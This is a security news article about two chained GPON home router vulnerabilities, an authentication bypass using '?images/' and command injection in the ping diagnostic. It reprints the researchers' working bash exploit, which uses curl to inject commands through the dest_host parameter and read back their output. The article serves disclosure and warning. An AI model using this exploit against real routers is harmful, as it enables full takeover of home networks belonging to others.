UPDATED – Critical RCE vulnerability found in over a million GPON Home Routers

Security researchers at VPNMentor conducted a comprehensive assessment on of a number of GPON home routers and discovered a Critical remote code vulnerability that could be exploited to gain full control over them.

The researchers have found a way to bypass the authentication to access the GPON home routers (CVE-2018-10561). The experts chained this authentication bypass flaw with another command injection vulnerability (CVE-2018-10562) and were able to execute commands on the device.

GPON Home Routers hack

Exploitation:

Analyzing the firmware of the GPON home routers, the experts found two different critical vulnerabilities (CVE-2018-10561 & CVE-2018-10562)  that could be chained to allow complete control of the vulnerable device and therefore the network. The first vulnerability exploits the authentication mechanism of the device, it could be exploited by an attacker to bypass all authentication.

The vulnerability effects the build in HTTP servers, which check for specific paths when authenticating. This allows the attacker to bypass authentication on any endpoint using a simple trick.

By appending

?images/ to the URL

the attacker can bypass the endpoint.

This works on both HTML pages and GponForm/

For instance, by inserting

/menu.html?images/
or
/GponForm/diag_FORM?images/

the experts were able to control the GPON Home Routers.

While looking through the device functionalities, the experts noticed the diagnostic endpoint contained the ping and traceroute commands. It didn’t take much to figure out that the commands can be injected using the host parameter.

“Since the router saves ping results in /tmp and transmits it to the user when the user revisits /diag.html, it’s quite simple to execute commands and retrieve their output with the authentication bypass vulnerability.” reads the analysis published by VPNMentor.

The experts included the following bash version of the exploit code:

#!/bin/bash

echo "[+] Sending the Command... "

“We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices” continues the post:

curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
echo "[+] Waiting...."
sleep 3
echo "[+] Retrieving the ouput...."
curl -k $1/diag.html?images/ 2>/dev/null | grep 'diag_result = ' | sed -e 's/\\n/\n/g'

GPON is a very popular passive optical network device that uses fiber-optics, these devices are provided by ISPs. In the video, you can see that over one million people use this type of network system router.

Below a video PoC published by the researchers:

“We tested this vulnerability on many random GPON routers, and the vulnerability was found on all of them. Because so many people use these types of routers, this vulnerability can result in an entire network compromise.” concluded the experts.

Recommendations:

  1. Check if your router uses the GPON network.
  2. Be aware that GPON routers can be hacked and exploited.
  3. Talk to your ISP to see what they can do to fix the bug.
  4. Warn your friends on Facebook (click here to share) and Twitter (click here to tweet).

 

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